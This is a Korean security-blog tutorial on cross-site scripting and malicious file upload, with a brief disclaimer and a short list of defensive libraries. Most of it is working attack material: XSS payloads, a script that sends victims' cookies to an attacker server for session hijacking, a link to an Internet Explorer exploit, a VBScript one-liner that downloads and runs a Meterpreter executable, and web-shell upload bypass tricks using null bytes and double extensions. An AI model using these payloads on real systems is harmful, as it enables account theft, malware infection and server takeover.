[정보보안] Cross Site Scripting(XSS) 에 대한 모든 것 - 크로스사이트 스크립트 실습하기

크로스 사이트 스크립트는 사이트에 해킹을 위한 악의적인 스크립트를 올려서

사용자의 PC에서 스크립트가 실행되게 만들어 악성 URL로 리다이렉션 되는 기법입니다.

본 글은 악의적인 목적을 가진 해커가 어떤 방법으로 해킹을 하는지 소개하는 글입니다.
절대! 악의적인 목적으로 해당 기술을 사용하시면 안됩니다. 해당 기술을 이용해 해킹을 성공하지 못하고 시도하는 경우라도 민, 형사적 책임을 물을 수 있습니다.


XSS(Cross Site Scripting)

1. Reflective XSS(반사형)

1) 악성 URL로 리다이렉션
2) 피싱 스타일의 개인정보 입력 유도 또는 악성코드 설치 유도
3) URL 매개변수(파라미터의 값) 부분에 아래 점검 문자열을 삽입 후 실행 확인
4) "><script>alert("xss");</script>

"><script>alert(document.cookie);</script>
5) "><iframe src="악성사이트URL"></iframe>
6) "><img src="악성사이트URL">
7) "><script src="../script/login.js"></script>


2. Stored XSS(저장형)

1) 타 사용자의 인증정보(세션&쿠키) 획득
2) 게시판 글 작성시 아래 점검 문자열을 삽입 후 글 개제
3) 게재된 게시글 열람 시 실행확인
4) <script>alert("xss");</script>
<script>alert(document.cookie);</script>
<iframe src="http://www.daum.net"></iframe>


3. XSS 타사용자 권한획득

참고로 아래 나오는 쿡시는 프록시 설정을 잡는 툴입니다.

1) 취약점을 이용하여 타 사용자 세션&쿠키값 절취 후 타 사용자로 로그인 시도
2) Session Replay Attack
- cooxie toolbar 이용
- 피해자: Windows7
- 공격자: Windows XP 웹해킹2
3) 공격 스크립트 구문(session&cookie sniffing 구문)
<iframe id="targetFrame" width=0 height=0></iframe><script>document.getElementById("targetFrame").src="http://URL/getcookie.asp?cookie="+document.cookie;</script>

- 공격자는 위 악성 스크립트 구문을 웹 게시판에 작성 후 개제
- 피해자는 로그인 후 해당 악성 스크립트 구문을 클릭(즉, 열람)했을 때
- 공격자 서버의 C:\webpages 폴더안에 getcookie.asp 실행으로 인해 XSS.txt 파일이 생성되는지 확인
- 생성된 XSS.txt 파일을 편집기 프로그램을 이용하여 확인 후 복사
- cooxie toolba를 이용하여 해당 사용자 즉, 타 사용자로 로그인이 되는지 확인


4. 악성서버 유도를 통한 임의의 명령실행

1) Proof-of-Concept exploit for CVE-2016-0189 (VBScript Memory Corruption in IE11)
2) https://github.com/theori-io/cve-2016-0189
3) <a href="http://URL/0189.html">Click</a>


5. 악성코드(파일) 감염

1) 악성코드(파일) 제작

- 악성코드(파일) 제작도구: Veil-Framwork Tool
- 네트워크 연결방식: Reverse_TCP
- 공격자의 최종목적: Meterpreter

Meterpreter: Metasploit 이라는 침투테스트 도구의 Payload 중 하나 Shell 권한획득 후 공격자가 자주 사용하는 시스템 명령어를 간편하게 사용할 수 있도록 도와주는 기능 탑재

Metasploit: 각종 OS 및 응용 프로그램들의 알려진 취약점을 이용해서 공격할 수 있는 도구(Exploit Code 내장)

2) CVE-2016-0189 exploit code 아래와 같이 VBscript로 재작성

- 악성서버로 부터 악성코드(파일)를 요청
- 요청한 악성코드(파일)을 피해자 PC의 특정 폴더에 저장
- 피해자 PC의 특정 폴더에 저장된 파일을 실행
- 셸코드 작성 VBScript 작성
- %TEMP%폴더에 .vbs 파일을 작성하고 .vbs를 실행하도록 구성
- .vbs 실행되면 웹 서버에서 악성코드를 호출하여 다운로드 하고, 실행하도록 구성
- %TEMP%폴더를 사용하는 이유는 UAC를 우회하기 위함

set shell=createobject("Shell.Application")
shell.ShellExecute "cmd.exe", "/c CD %TEMP%&@echo Set objXMLHTTP=CreateObject(""MSXML2.XMLHTTP"")>down_exec.vbs&@echo objXMLHTTP.open ""GET"",""http://192.168.0.147/messbox.exe"",false>>down_exec.vbs&@echo objXMLHTTP.send()>>down_exec.vbs&@echo If objXMLHTTP.Status=200 Then>>down_exec.vbs&@echo Set objADOStream=CreateObject(""ADODB.Stream"")>>down_exec.vbs&@echo objADOStream.Open>>down_exec.vbs&@echo objADOStream.Type=1 >>down_exec.vbs&@echo objADOStream.Write objXMLHTTP.ResponseBody>>down_exec.vbs&@echo objADOStream.Position=0 >>down_exec.vbs&@echo objADOStream.SaveToFile ""%TEMP%\messbox.exe"">>down_exec.vbs&@echo objADOStream.Close>>down_exec.vbs&@echo Set objADOStream=Nothing>>down_exec.vbs&@echo End if>>down_exec.vbs&@echo Set objXMLHTTP=Nothing>>down_exec.vbs&@echo Set objShell=CreateObject(""WScript.Shell"")>>down_exec.vbs&@echo objShell.Exec(""%TEMP%\messbox.exe"")>>down_exec.vbs&cscript.exe %TEMP%\down_exec.vbs&del %TEMP%\down_exec.vbs", "", "open", 0


6. 악성스크립트

<a href="http://URL/vbscript_godmode.html" width=0 height=0>클릭!클릭!</a>

* PoC Exploit Payload
* PoC: 개념증명 (Exploit+Payload)
* Exploit: Payload 실행을 위한 흐름조작
* Payload: 공격자의 최종 목적 (e.g shell, privilege escalation)


#XSS 취약점 예방 라이브러리

1. OWASP ESAPI 라이브러리

1) ASP, JSP, PHP 등 다양한 언어에서 적용 가능

2. MS Anti-XSS 라이브러리

1) ASP에서 적용가능
2) .NET Framework 4.5 이상 적용가능


#악성파일 업로드 부문

1. 개발언어에 해당하는 악성파일 준비
2. 홈페이지에서 파일 업로드 기능 찾음
3. 웹 애플리케이션 개발운영 환경에서 실행가능한 언어로 작성된 파일 업로드 시도(.asp / .php / .jsp)

1) Client Side Script를 이용한 확장자 차단 우회

- 허용하는 확장자만 허용하고 나머지 모든 확장자는 차단: 허용방식 / Positive (O)
- 악의적인 목적의 확장자만 차단하고 나머지는 모두 허용: 부정방식 / Nagative (X)
- 반드시 서버에서 재검증하는지 확인필요 -> 웹 프록시 도구를 이용해서 해당 스크립트 조작 후 업로드 시도

2) 확장자 연장 우회 기법

- webshell.txt.asp

3) 종단문자 우회 기법

- w3shcool urlecode: %00(null)
- %00를 포함한 뒷문장은 널값 즉 공백형태로 처리되는 점을 악용함
- 공격자는 웹쉘파일의 이름에 허용하는 확장자와 %00 특수문자를 같이 포함해서 파일명을 변경한 후 업로드 시도
=> 클라이언트에서는 %00가 문자지만 저러한 특수문자가 포함된 파일이 웹서버에서 처리될 때는 널로 해석됨
=> webshell.asp%00.txt


#악성파일 실행 부문

1. 악성파일이 업로드된 웹 서버의 경로명(폴더명)을 추측
2. 악성파일 업로드된 경로명과 악성파일명을 URL에 포함시켜서 호출(실행)

- 첨부파일 경로명 확인
- 첨부파일 경로명과 파일명으로 URL을 만든 후 실행